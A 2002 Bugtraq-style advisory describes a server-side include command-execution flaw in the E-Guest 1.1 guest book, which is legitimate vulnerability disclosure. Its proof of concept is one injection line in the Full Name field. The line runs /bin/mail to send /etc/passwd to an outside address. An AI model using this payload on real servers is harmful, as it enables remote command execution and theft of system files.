E-Guest Server Side Include Arbitrary Command Execution Vulnerability

Bugtraq ID:	5129
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 30 2002 12:00AM
Updated:	Jun 30 2002 12:00AM
Credit:	Vulnerability discovery credited to DownBload <[email protected]>.
Vulnerable:	Leung Eric E-Guest 1.1
Not Vulnerable:

E-Guest Server Side Include Arbitrary Command Execution Vulnerability

E-Guest guest book is a freely available, open source guest book. It is designed for Unix and Linux operating systems.

E-Guest does not adequately sanitize user-supplied input in guest book entries. Because of this, it is possible to pass along commands via server-side includes that could allow a remote user to execute commands on the local host.

E-Guest Server Side Include Arbitrary Command Execution Vulnerability

The following entry has been provided as proof of concept:
Full Name: HI<!--#exec cmd="/bin/mail [email protected] < /etc/passwd"-->

This vulnerability may be exploited with a web browser.

E-Guest Server Side Include Arbitrary Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

E-Guest Server Side Include Arbitrary Command Execution Vulnerability

References: